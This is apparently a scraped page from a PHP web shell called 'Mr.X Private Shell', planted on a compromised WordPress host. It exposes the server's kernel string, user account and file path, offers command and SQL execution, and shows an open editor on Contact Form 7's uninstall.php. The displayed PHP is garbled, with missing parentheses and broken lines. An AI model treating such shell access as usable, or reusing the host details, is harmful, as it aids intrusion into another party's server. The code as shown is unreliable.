Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins/contact-form-7      ( Reset | Go to )
File Name: uninstall.php
Edit
<?php

if ( ! defined'WP_UNINSTALL_PLUGIN' ) ) {
    exit();
}

function 
wpcf7_delete_plugin() {
    global 
$wpdb;

    
delete_option'wpcf7' );

    
$posts get_posts(
        array(
            
'numberposts' => -1,
            
'post_type' => 'wpcf7_contact_form',
            
'post_status' => 'any',
        )
    );

    foreach ( 
$posts as $post ) {
        
wp_delete_post$post->IDtrue );
    }

    
$wpdb->querysprintf(
        
"DROP TABLE IF EXISTS %s",
        
$wpdb->prefix 'contact_form_7'
    
) );
}

if ( ! 
defined'WPCF7_VERSION' ) ) {
    
wpcf7_delete_plugin();
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL